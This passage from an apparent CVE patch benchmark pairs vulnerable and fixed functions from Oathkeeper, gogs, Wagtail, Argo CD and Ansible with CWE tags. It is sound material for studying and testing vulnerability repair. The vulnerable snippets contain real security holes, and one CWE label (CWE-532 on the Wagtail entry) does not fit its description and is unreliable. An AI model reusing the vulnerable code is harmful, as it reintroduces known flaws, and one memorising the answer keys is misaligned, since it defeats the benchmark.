                "snippet": "func (a *AuthenticatorOAuth2Introspection) Config(config json.RawMessage) (*AuthenticatorOAuth2IntrospectionConfiguration, *http.Client, error) {\n\tvar c AuthenticatorOAuth2IntrospectionConfiguration\n\tif err := a.c.AuthenticatorConfig(a.GetID(), config, &c); err != nil {\n\t\treturn nil, nil, NewErrAuthenticatorMisconfigured(a, err)\n\t}\n\n\tclientKey := fmt.Sprintf(\"%x\", md5.Sum([]byte(config)))\n\ta.mu.RLock()\n\tclient, ok := a.clientMap[clientKey]\n\ta.mu.RUnlock()\n\n\tif !ok {\n\t\ta.logger.Debug(\"Initializing http client\")\n\t\tvar rt http.RoundTripper\n\t\tif c.PreAuth != nil && c.PreAuth.Enabled {\n\t\t\tvar ep url.Values\n\n\t\t\tif c.PreAuth.Audience != \"\" {\n\t\t\t\tep = url.Values{\"audience\": {c.PreAuth.Audience}}\n\t\t\t}\n\n\t\t\trt = (&clientcredentials.Config{\n\t\t\t\tClientID:       c.PreAuth.ClientID,\n\t\t\t\tClientSecret:   c.PreAuth.ClientSecret,\n\t\t\t\tScopes:         c.PreAuth.Scope,\n\t\t\t\tEndpointParams: ep,\n\t\t\t\tTokenURL:       c.PreAuth.TokenURL,\n\t\t\t}).Client(context.Background()).Transport\n\t\t}\n\n\t\tif c.Retry == nil {\n\t\t\tc.Retry = &AuthenticatorOAuth2IntrospectionRetryConfiguration{Timeout: \"500ms\", MaxWait: \"1s\"}\n\t\t} else {\n\t\t\tif c.Retry.Timeout == \"\" {\n\t\t\t\tc.Retry.Timeout = \"500ms\"\n\t\t\t}\n\t\t\tif c.Retry.MaxWait == \"\" {\n\t\t\t\tc.Retry.MaxWait = \"1s\"\n\t\t\t}\n\t\t}\n\t\tduration, err := time.ParseDuration(c.Retry.Timeout)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\ttimeout := time.Millisecond * duration\n\n\t\tmaxWait, err := time.ParseDuration(c.Retry.MaxWait)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\tclient = httpx.NewResilientClientLatencyToleranceConfigurable(rt, timeout, maxWait)\n\t\ta.mu.Lock()\n\t\ta.clientMap[clientKey] = client\n\t\ta.mu.Unlock()\n\t}\n\n\tif c.Cache.TTL != \"\" {\n\t\tcacheTTL, err := time.ParseDuration(c.Cache.TTL)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\ta.cacheTTL = &cacheTTL\n\t}\n\n\tif a.tokenCache == nil {\n\t\ta.logger.Debugf(\"Creating cache with max cost: %d\", c.Cache.MaxCost)\n\t\tcache, _ := ristretto.NewCache(&ristretto.Config{\n\t\t\t// This will hold about 1000 unique mutation responses.\n\t\t\tNumCounters: 10000,\n\t\t\t// Allocate a max\n\t\t\tMaxCost: int64(c.Cache.MaxCost),\n\t\t\t// This is a best-practice value.\n\t\t\tBufferItems: 64,\n\t\t})\n\n\t\ta.tokenCache = cache\n\t}\n\n\treturn &c, client, nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            65,
                            74
                        ],
                        "tag": "add"
                    },
                    {
                        "patch_lines": [
                            67,
                            72
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_56_1",
                "commit": "1f9f625c1a49e134ae2299ee95b8cf158feec932",
                "file_path": "./pipeline/authn/authenticator_oauth2_introspection.go",
                "start_line": 3,
                "end_line": 31,
                "snippet": "import (\n\t\"context\"\n\t\"crypto/md5\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/ory/fosite\"\n\n\t\"github.com/dgraph-io/ristretto\"\n\n\t\"github.com/opentracing/opentracing-go\"\n\t\"github.com/opentracing/opentracing-go/ext\"\n\n\t\"github.com/pkg/errors\"\n\t\"golang.org/x/oauth2/clientcredentials\"\n\n\t\"github.com/ory/go-convenience/stringslice\"\n\t\"github.com/ory/x/httpx\"\n\t\"github.com/ory/x/logrusx\"\n\n\t\"github.com/ory/oathkeeper/driver/configuration\"\n\t\"github.com/ory/oathkeeper/helper\"\n\t\"github.com/ory/oathkeeper/pipeline\"\n)"
            },
            {
                "id": "fix_go_56_2",
                "commit": "1f9f625c1a49e134ae2299ee95b8cf158feec932",
                "file_path": "./pipeline/authn/authenticator_oauth2_introspection.go",
                "start_line": 99,
                "end_line": 119,
                "snippet": "func (a *AuthenticatorOAuth2Introspection) tokenFromCache(config *AuthenticatorOAuth2IntrospectionConfiguration, token string, ss fosite.ScopeStrategy) *AuthenticatorOAuth2IntrospectionResult {\n\tif !config.Cache.Enabled {\n\t\treturn nil\n\t}\n\n\tif ss == nil && len(config.Scopes) > 0 {\n\t\treturn nil\n\t}\n\n\titem, found := a.tokenCache.Get(token)\n\tif !found {\n\t\treturn nil\n\t}\n\n\ti, ok := item.(*AuthenticatorOAuth2IntrospectionResult)\n\tif !ok {\n\t\treturn nil\n\t}\n\n\treturn i\n}"
            },
            {
                "id": "fix_go_56_3",
                "commit": "1f9f625c1a49e134ae2299ee95b8cf158feec932",
                "file_path": "./pipeline/authn/authenticator_oauth2_introspection.go",
                "start_line": 121,
                "end_line": 135,
                "snippet": "func (a *AuthenticatorOAuth2Introspection) tokenToCache(config *AuthenticatorOAuth2IntrospectionConfiguration, i *AuthenticatorOAuth2IntrospectionResult, token string, ss fosite.ScopeStrategy) {\n\tif !config.Cache.Enabled {\n\t\treturn\n\t}\n\n\tif ss == nil && len(config.Scopes) > 0 {\n\t\treturn\n\t}\n\n\tif a.cacheTTL != nil {\n\t\ta.tokenCache.SetWithTTL(token, i, 1, *a.cacheTTL)\n\t} else {\n\t\ta.tokenCache.Set(token, i, 1)\n\t}\n}"
            },
            {
                "id": "fix_go_56_4",
                "commit": "1f9f625c1a49e134ae2299ee95b8cf158feec932",
                "file_path": "./pipeline/authn/authenticator_oauth2_introspection.go",
                "start_line": 160,
                "end_line": 265,
                "snippet": "func (a *AuthenticatorOAuth2Introspection) Authenticate(r *http.Request, session *AuthenticationSession, config json.RawMessage, _ pipeline.Rule) error {\n\tcf, client, err := a.Config(config)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttoken := helper.BearerTokenFromRequest(r, cf.BearerTokenLocation)\n\tif token == \"\" {\n\t\treturn errors.WithStack(ErrAuthenticatorNotResponsible)\n\t}\n\n\tss := a.c.ToScopeStrategy(cf.ScopeStrategy, \"authenticators.oauth2_introspection.config.scope_strategy\")\n\n\ti := a.tokenFromCache(cf, token, ss)\n\n\t// If the token can not be found, and the scope strategy is nil, and the required scope list\n\t// is not empty, then we can not use the cache.\n\tif i == nil {\n\t\tbody := url.Values{\"token\": {token}}\n\t\tif ss == nil {\n\t\t\tbody.Add(\"scope\", strings.Join(cf.Scopes, \" \"))\n\t\t}\n\n\t\tintrospectReq, err := http.NewRequest(http.MethodPost, cf.IntrospectionURL, strings.NewReader(body.Encode()))\n\t\tif err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\n\t\tfor key, value := range cf.IntrospectionRequestHeaders {\n\t\t\tintrospectReq.Header.Set(key, value)\n\t\t}\n\t\t// set/override the content-type header\n\t\tintrospectReq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\n\t\t// add tracing\n\t\tcloseSpan := a.traceRequest(r.Context(), introspectReq)\n\n\t\tresp, err := client.Do(introspectReq.WithContext(r.Context()))\n\n\t\t// close the span so it represents just the http request\n\t\tcloseSpan()\n\t\tif err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tdefer resp.Body.Close()\n\n\t\tif resp.StatusCode != http.StatusOK {\n\t\t\treturn errors.Errorf(\"Introspection returned status code %d but expected %d\", resp.StatusCode, http.StatusOK)\n\t\t}\n\n\t\tif err := json.NewDecoder(resp.Body).Decode(&i); err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t}\n\n\tif len(i.TokenUse) > 0 && i.TokenUse != \"access_token\" {\n\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Use of introspected token is not an access token but \\\"%s\\\"\", i.TokenUse)))\n\t}\n\n\tif !i.Active {\n\t\treturn errors.WithStack(helper.ErrUnauthorized.WithReason(\"Access token is not active\"))\n\t}\n\n\tif i.Expires > 0 && time.Unix(i.Expires, 0).Before(time.Now()) {\n\t\treturn errors.WithStack(helper.ErrUnauthorized.WithReason(\"Access token expired\"))\n\t}\n\n\tfor _, audience := range cf.Audience {\n\t\tif !stringslice.Has(i.Audience, audience) {\n\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Token audience is not intended for target audience %s\", audience)))\n\t\t}\n\t}\n\n\tif len(cf.Issuers) > 0 {\n\t\tif !stringslice.Has(cf.Issuers, i.Issuer) {\n\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Token issuer does not match any trusted issuer\")))\n\t\t}\n\t}\n\n\tif ss != nil {\n\t\tfor _, scope := range cf.Scopes {\n\t\t\tif !ss(strings.Split(i.Scope, \" \"), scope) {\n\t\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Scope %s was not granted\", scope)))\n\t\t\t}\n\t\t}\n\t}\n\n\ta.tokenToCache(cf, i, token, ss)\n\n\tif len(i.Extra) == 0 {\n\t\ti.Extra = map[string]interface{}{}\n\t}\n\n\ti.Extra[\"username\"] = i.Username\n\ti.Extra[\"client_id\"] = i.ClientID\n\ti.Extra[\"scope\"] = i.Scope\n\n\tif len(i.Audience) != 0 {\n\t\ti.Extra[\"aud\"] = i.Audience\n\t}\n\n\tsession.Subject = i.Subject\n\tsession.Extra = i.Extra\n\n\treturn nil\n}"
            },
            {
                "id": "fix_go_56_5",
                "commit": "1f9f625c1a49e134ae2299ee95b8cf158feec932",
                "file_path": "./pipeline/authn/authenticator_oauth2_introspection.go",
                "start_line": 276,
                "end_line": 363,
                "snippet": "func (a *AuthenticatorOAuth2Introspection) Config(config json.RawMessage) (*AuthenticatorOAuth2IntrospectionConfiguration, *http.Client, error) {\n\tvar c AuthenticatorOAuth2IntrospectionConfiguration\n\tif err := a.c.AuthenticatorConfig(a.GetID(), config, &c); err != nil {\n\t\treturn nil, nil, NewErrAuthenticatorMisconfigured(a, err)\n\t}\n\n\tclientKey := fmt.Sprintf(\"%x\", md5.Sum([]byte(config)))\n\ta.mu.RLock()\n\tclient, ok := a.clientMap[clientKey]\n\ta.mu.RUnlock()\n\n\tif !ok {\n\t\ta.logger.Debug(\"Initializing http client\")\n\t\tvar rt http.RoundTripper\n\t\tif c.PreAuth != nil && c.PreAuth.Enabled {\n\t\t\tvar ep url.Values\n\n\t\t\tif c.PreAuth.Audience != \"\" {\n\t\t\t\tep = url.Values{\"audience\": {c.PreAuth.Audience}}\n\t\t\t}\n\n\t\t\trt = (&clientcredentials.Config{\n\t\t\t\tClientID:       c.PreAuth.ClientID,\n\t\t\t\tClientSecret:   c.PreAuth.ClientSecret,\n\t\t\t\tScopes:         c.PreAuth.Scope,\n\t\t\t\tEndpointParams: ep,\n\t\t\t\tTokenURL:       c.PreAuth.TokenURL,\n\t\t\t}).Client(context.Background()).Transport\n\t\t}\n\n\t\tif c.Retry == nil {\n\t\t\tc.Retry = &AuthenticatorOAuth2IntrospectionRetryConfiguration{Timeout: \"500ms\", MaxWait: \"1s\"}\n\t\t} else {\n\t\t\tif c.Retry.Timeout == \"\" {\n\t\t\t\tc.Retry.Timeout = \"500ms\"\n\t\t\t}\n\t\t\tif c.Retry.MaxWait == \"\" {\n\t\t\t\tc.Retry.MaxWait = \"1s\"\n\t\t\t}\n\t\t}\n\t\tduration, err := time.ParseDuration(c.Retry.Timeout)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\ttimeout := time.Millisecond * duration\n\n\t\tmaxWait, err := time.ParseDuration(c.Retry.MaxWait)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\tclient = httpx.NewResilientClientLatencyToleranceConfigurable(rt, timeout, maxWait)\n\t\ta.mu.Lock()\n\t\ta.clientMap[clientKey] = client\n\t\ta.mu.Unlock()\n\t}\n\n\tif c.Cache.TTL != \"\" {\n\t\tcacheTTL, err := time.ParseDuration(c.Cache.TTL)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\ta.cacheTTL = &cacheTTL\n\t}\n\n\tif a.tokenCache == nil {\n\t\tcost := int64(c.Cache.MaxCost)\n\t\tif cost == 0 {\n\t\t\tcost = 100000000\n\t\t}\n\t\ta.logger.Debugf(\"Creating cache with max cost: %d\", c.Cache.MaxCost)\n\t\tcache, err := ristretto.NewCache(&ristretto.Config{\n\t\t\t// This will hold about 1000 unique mutation responses.\n\t\t\tNumCounters: 10000,\n\t\t\t// Allocate a max\n\t\t\tMaxCost: cost,\n\t\t\t// This is a best-practice value.\n\t\t\tBufferItems: 64,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\ta.tokenCache = cache\n\t}\n\n\treturn &c, client, nil\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-32701"
    },
    {
        "cve_id": "CVE-2022-1992",
        "cve_description": "Path Traversal in GitHub repository gogs/gogs prior to 0.12.9.",
        "cwe_info": {
            "CWE-73": {
                "name": "External Control of File Name or Path",
                "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/gogs/gogs",
        "patch_url": [
            "https://github.com/gogs/gogs/commit/2ca014250fbf0bba94c914d9e43b1f6d8eca3bb0"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_4_1",
                "commit": "325904c",
                "file_path": "internal/pathutil/pathutil.go",
                "start_line": 13,
                "end_line": 15,
                "snippet": "func Clean(p string) string {\n\treturn strings.Trim(path.Clean(\"/\"+p), \"/\")\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            1
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_4_1",
                "commit": "2ca0142",
                "file_path": "internal/pathutil/pathutil.go",
                "start_line": 14,
                "end_line": 17,
                "snippet": "func Clean(p string) string {\n\tp = strings.ReplaceAll(p, `\\`, \"/\")\n\treturn strings.Trim(path.Clean(\"/\"+p), \"/\")\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-1992"
    },
    {
        "cve_id": "CVE-2023-45809",
        "cve_description": "Wagtail's admin user-account bulk action views can disclose information about selected user accounts to authenticated admin users who have access to the Wagtail admin but do not have permission to add, change, or delete users. A low-privileged editor can directly request user bulk-action URLs and supply arbitrary user IDs in the query parameters. This issue is not limited to deleting users; any user-account bulk action that renders a confirmation, error, no-access, or other response for selected users can become an information-disclosure path, including actions such as deletion, changing active status, or assigning roles. Even when the requested action is not performed, the response may reveal readable account identifiers such as display names, usernames, email addresses, or full names, allowing unauthorized enumeration or discovery of user identities.",
        "cwe_info": {
            "CWE-532": {
                "name": "Insertion of Sensitive Information into Log File",
                "description": "The product writes sensitive information to a log file."
            }
        },
        "repo": "https://github.com/wagtail/wagtail",
        "patch_url": [
            "https://github.com/wagtail/wagtail/commit/bc96aed6ac53f998b2f4c4bf97e2d4f5fe337e5b"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_70_1",
                "commit": "190af78",
                "file_path": "wagtail/users/views/bulk_actions/user_bulk_action.py",
                "start_line": 6,
                "end_line": 8,
                "snippet": "\nclass UserBulkAction(BulkAction):\n    models = [get_user_model()]",
                "vul_localization": [
                    {
                        "patch_lines": [
                            1,
                            2
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_70_1",
                "commit": "bc96aed6ac53f998b2f4c4bf97e2d4f5fe337e5b",
                "file_path": "wagtail/users/views/bulk_actions/user_bulk_action.py",
                "start_line": 8,
                "end_line": 14,
                "snippet": "User = get_user_model()\n\n\nclass UserBulkAction(PermissionCheckedMixin, BulkAction):\n    models = [User]\n    permission_policy = ModelPermissionPolicy(User)\n    any_permission_required = [\"add\", \"change\", \"delete\"]"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2023-45809"
    },
    {
        "cve_id": "CVE-2023-50726",
        "cve_description": "Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. \"Local sync\" is an Argo CD feature that allows developers to temporarily override an Application's manifests with locally-defined manifests. Use of the feature should generally be limited to highly-trusted users, since it allows the user to bypass any merge protections in git. An improper validation bug allows users who have `create` privileges but not `override` privileges to sync local manifests on app creation. All other restrictions, including AppProject restrictions are still enforced. The only restriction which is not enforced is that the manifests come from some approved git/Helm/OCI source. The bug was introduced in 1.2.0-rc1 when the local manifest sync feature was added. The bug has been patched in Argo CD versions 2.10.3, 2.9.8, and 2.8.12. Users are advised to upgrade. Users unable to upgrade may mitigate the risk of branch protection bypass by removing `applications, create` RBAC access. The only way to eliminate the issue without removing RBAC access is to upgrade to a patched version.",
        "cwe_info": {
            "CWE-285": {
                "name": "Improper Authorization",
                "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."
            },
            "CWE-250": {
                "name": "Execution with Unnecessary Privileges",
                "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."
            },
            "CWE-269": {
                "name": "Improper Privilege Management",
                "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."
            }
        },
        "repo": "https://github.com/argoproj/argo-cd",
        "patch_url": [
            "https://github.com/argoproj/argo-cd/commit/3b8f673f06c2d228e01cbc830e5cb57cef008978"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_8_1",
                "commit": "479b554",
                "file_path": "server/application/application.go",
                "start_line": 308,
                "end_line": 370,
                "snippet": "func (s *Server) Create(ctx context.Context, q *application.ApplicationCreateRequest) (*appv1.Application, error) {\n\tif q.GetApplication() == nil {\n\t\treturn nil, fmt.Errorf(\"error creating application: application is nil in request\")\n\t}\n\ta := q.GetApplication()\n\n\tif err := s.enf.EnforceErr(ctx.Value(\"claims\"), rbacpolicy.ResourceApplications, rbacpolicy.ActionCreate, a.RBACName(s.ns)); err != nil {\n\t\treturn nil, err\n\t}\n\n\ts.projectLock.RLock(a.Spec.GetProject())\n\tdefer s.projectLock.RUnlock(a.Spec.GetProject())\n\n\tvalidate := true\n\tif q.Validate != nil {\n\t\tvalidate = *q.Validate\n\t}\n\terr := s.validateAndNormalizeApp(ctx, a, validate)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error while validating and normalizing app: %w\", err)\n\t}\n\n\tappNs := s.appNamespaceOrDefault(a.Namespace)\n\n\tif !s.isNamespaceEnabled(appNs) {\n\t\treturn nil, security.NamespaceNotPermittedError(appNs)\n\t}\n\n\tcreated, err := s.appclientset.ArgoprojV1alpha1().Applications(appNs).Create(ctx, a, metav1.CreateOptions{})\n\tif err == nil {\n\t\ts.logAppEvent(created, ctx, argo.EventReasonResourceCreated, \"created application\")\n\t\ts.waitSync(created)\n\t\treturn created, nil\n\t}\n\tif !apierr.IsAlreadyExists(err) {\n\t\treturn nil, fmt.Errorf(\"error creating application: %w\", err)\n\t}\n\n\t// act idempotent if existing spec matches new spec\n\texisting, err := s.appLister.Applications(appNs).Get(a.Name)\n\tif err != nil {\n\t\treturn nil, status.Errorf(codes.Internal, \"unable to check existing application details (%s): %v\", appNs, err)\n\t}\n\tequalSpecs := reflect.DeepEqual(existing.Spec, a.Spec) &&\n\t\treflect.DeepEqual(existing.Labels, a.Labels) &&\n\t\treflect.DeepEqual(existing.Annotations, a.Annotations) &&\n\t\treflect.DeepEqual(existing.Finalizers, a.Finalizers)\n\n\tif equalSpecs {\n\t\treturn existing, nil\n\t}\n\tif q.Upsert == nil || !*q.Upsert {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"existing application spec is different, use upsert flag to force update\")\n\t}\n\tif err := s.enf.EnforceErr(ctx.Value(\"claims\"), rbacpolicy.ResourceApplications, rbacpolicy.ActionUpdate, a.RBACName(s.ns)); err != nil {\n\t\treturn nil, err\n\t}\n\tupdated, err := s.updateApp(existing, a, ctx, true)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error updating application: %w\", err)\n\t}\n\treturn updated, nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            28
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_8_1",
                "commit": "3b8f673f06c2d228e01cbc830e5cb57cef008978",
                "file_path": "server/application/application.go",
                "start_line": 308,
                "end_line": 379,
                "snippet": "func (s *Server) Create(ctx context.Context, q *application.ApplicationCreateRequest) (*appv1.Application, error) {\n\tif q.GetApplication() == nil {\n\t\treturn nil, fmt.Errorf(\"error creating application: application is nil in request\")\n\t}\n\ta := q.GetApplication()\n\n\tif err := s.enf.EnforceErr(ctx.Value(\"claims\"), rbacpolicy.ResourceApplications, rbacpolicy.ActionCreate, a.RBACName(s.ns)); err != nil {\n\t\treturn nil, err\n\t}\n\n\ts.projectLock.RLock(a.Spec.GetProject())\n\tdefer s.projectLock.RUnlock(a.Spec.GetProject())\n\n\tvalidate := true\n\tif q.Validate != nil {\n\t\tvalidate = *q.Validate\n\t}\n\terr := s.validateAndNormalizeApp(ctx, a, validate)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error while validating and normalizing app: %w\", err)\n\t}\n\n\tappNs := s.appNamespaceOrDefault(a.Namespace)\n\n\tif !s.isNamespaceEnabled(appNs) {\n\t\treturn nil, security.NamespaceNotPermittedError(appNs)\n\t}\n\n\t// Don't let the app creator set the operation explicitly. Those requests should always go through the Sync API.\n\tif a.Operation != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"application\":            a.Name,\n\t\t\targocommon.SecurityField: argocommon.SecurityLow,\n\t\t}).Warn(\"User attempted to set operation on application creation. This could have allowed them to bypass branch protection rules by setting manifests directly. Ignoring the set operation.\")\n\t\ta.Operation = nil\n\t}\n\n\tcreated, err := s.appclientset.ArgoprojV1alpha1().Applications(appNs).Create(ctx, a, metav1.CreateOptions{})\n\tif err == nil {\n\t\ts.logAppEvent(created, ctx, argo.EventReasonResourceCreated, \"created application\")\n\t\ts.waitSync(created)\n\t\treturn created, nil\n\t}\n\tif !apierr.IsAlreadyExists(err) {\n\t\treturn nil, fmt.Errorf(\"error creating application: %w\", err)\n\t}\n\n\t// act idempotent if existing spec matches new spec\n\texisting, err := s.appLister.Applications(appNs).Get(a.Name)\n\tif err != nil {\n\t\treturn nil, status.Errorf(codes.Internal, \"unable to check existing application details (%s): %v\", appNs, err)\n\t}\n\tequalSpecs := reflect.DeepEqual(existing.Spec, a.Spec) &&\n\t\treflect.DeepEqual(existing.Labels, a.Labels) &&\n\t\treflect.DeepEqual(existing.Annotations, a.Annotations) &&\n\t\treflect.DeepEqual(existing.Finalizers, a.Finalizers)\n\n\tif equalSpecs {\n\t\treturn existing, nil\n\t}\n\tif q.Upsert == nil || !*q.Upsert {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"existing application spec is different, use upsert flag to force update\")\n\t}\n\tif err := s.enf.EnforceErr(ctx.Value(\"claims\"), rbacpolicy.ResourceApplications, rbacpolicy.ActionUpdate, a.RBACName(s.ns)); err != nil {\n\t\treturn nil, err\n\t}\n\tupdated, err := s.updateApp(existing, a, ctx, true)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error updating application: %w\", err)\n\t}\n\treturn updated, nil\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2023-50726"
    },
    {
        "cve_id": "CVE-2021-3583",
        "cve_description": "A flaw was found in Ansible, where a user's controller is vulnerable to template injection. This issue can occur through facts used in the template if the user is trying to put templates in multi-line YAML strings and the facts being handled do not routinely include special template characters. This flaw allows attackers to perform command injection, which discloses sensitive information. The highest threat from this vulnerability is to confidentiality and integrity.",
        "cwe_info": {
            "CWE-94": {
                "name": "Improper Control of Generation of Code ('Code Injection')",
                "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."
            },
            "CWE-77": {
                "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')",
                "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."
            },
            "CWE-78": {
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')",
                "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."
            }
        },
        "repo": "https://github.com/ansible/ansible",
        "patch_url": [
            "https://github.com/ansible/ansible/commit/8aa850e3573e48c9a2f12aef84e8a3a6f5ba4847",
            "https://github.com/ansible/ansible/commit/03aff644cc1c00e1f7551195c68fbd0d13a39e6e",
            "https://github.com/ansible/ansible/commit/8b17e5b9229ffaecfe10a4881bc3f87dd2c184e1"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_15_1",
                "commit": "c49092f",
                "file_path": "lib/ansible/template/__init__.py",
                "start_line": 812,
                "end_line": 914,
                "snippet": "    def do_template(self, data, preserve_trailing_newlines=True, escape_backslashes=True, fail_on_undefined=None, overrides=None, disable_lookups=False):\n        if USE_JINJA2_NATIVE and not isinstance(data, string_types):\n            return data\n\n        # For preserving the number of input newlines in the output (used\n        # later in this method)\n        data_newlines = _count_newlines_from_end(data)\n\n        if fail_on_undefined is None:\n            fail_on_undefined = self._fail_on_undefined_errors\n\n        try:\n            # allows template header overrides to change jinja2 options.\n            if overrides is None:\n                myenv = self.environment.overlay()\n            else:\n                myenv = self.environment.overlay(overrides)\n\n            # Get jinja env overrides from template\n            if hasattr(data, 'startswith') and data.startswith(JINJA2_OVERRIDE):\n                eol = data.find('\\n')\n                line = data[len(JINJA2_OVERRIDE):eol]\n                data = data[eol + 1:]\n                for pair in line.split(','):\n                    (key, val) = pair.split(':')\n                    key = key.strip()\n                    setattr(myenv, key, ast.literal_eval(val.strip()))\n\n            # Adds Ansible custom filters and tests\n            myenv.filters.update(self._get_filters())\n            myenv.tests.update(self._get_tests())\n\n            if escape_backslashes:\n                # Allow users to specify backslashes in playbooks as \"\\\\\" instead of as \"\\\\\\\\\".\n                data = _escape_backslashes(data, myenv)\n\n            try:\n                t = myenv.from_string(data)\n            except TemplateSyntaxError as e:\n                raise AnsibleError(\"template error while templating string: %s. String: %s\" % (to_native(e), to_native(data)))\n            except Exception as e:\n                if 'recursion' in to_native(e):\n                    raise AnsibleError(\"recursive loop detected in template string: %s\" % to_native(data))\n                else:\n                    return data\n\n            # jinja2 global is inconsistent across versions, this normalizes them\n            t.globals['dict'] = dict\n\n            if disable_lookups:\n                t.globals['query'] = t.globals['q'] = t.globals['lookup'] = self._fail_lookup\n            else:\n                t.globals['lookup'] = self._lookup\n                t.globals['query'] = t.globals['q'] = self._query_lookup\n\n            t.globals['now'] = self._now_datetime\n\n            t.globals['finalize'] = self._finalize\n\n            jvars = AnsibleJ2Vars(self, t.globals)\n\n            self.cur_context = new_context = t.new_context(jvars, shared=True)\n            rf = t.root_render_func(new_context)\n\n            try:\n                res = j2_concat(rf)\n                if getattr(new_context, 'unsafe', False):\n                    res = wrap_var(res)\n            except TypeError as te:\n                if 'AnsibleUndefined' in to_native(te):\n                    errmsg = \"Unable to look up a name or access an attribute in template string (%s).\\n\" % to_native(data)\n                    errmsg += \"Make sure your variable name does not contain invalid characters like '-': %s\" % to_native(te)\n                    raise AnsibleUndefinedVariable(errmsg)\n                else:\n                    display.debug(\"failing because of a type error, template data is: %s\" % to_text(data))\n                    raise AnsibleError(\"Unexpected templating type error occurred on (%s): %s\" % (to_native(data), to_native(te)))\n\n            if USE_JINJA2_NATIVE and not isinstance(res, string_types):\n                return res\n\n            if preserve_trailing_newlines:\n                # The low level calls above do not preserve the newline\n                # characters at the end of the input data, so we use the\n                # calculate the difference in newlines and append them\n                # to the resulting output for parity\n                #\n                # jinja2 added a keep_trailing_newline option in 2.7 when\n                # creating an Environment.  That would let us make this code\n                # better (remove a single newline if\n                # preserve_trailing_newlines is False).  Once we can depend on\n                # that version being present, modify our code to set that when\n                # initializing self.environment and remove a single trailing\n                # newline here if preserve_newlines is False.\n                res_newlines = _count_newlines_from_end(res)\n                if data_newlines > res_newlines:\n                    res += self.environment.newline_sequence * (data_newlines - res_newlines)\n            return res\n        except (UndefinedError, AnsibleUndefinedVariable) as e:\n            if fail_on_undefined:\n                raise AnsibleUndefinedVariable(e)\n            else:\n                display.debug(\"Ignoring undefined failure: %s\" % to_text(e))\n                return data",
                "vul_localization": [
                    {
                        "patch_lines": [
                            67
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            97
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_15_1",
                "commit": "8aa850e",
                "file_path": "lib/ansible/template/__init__.py",
                "start_line": 1008,
                "end_line": 1106,
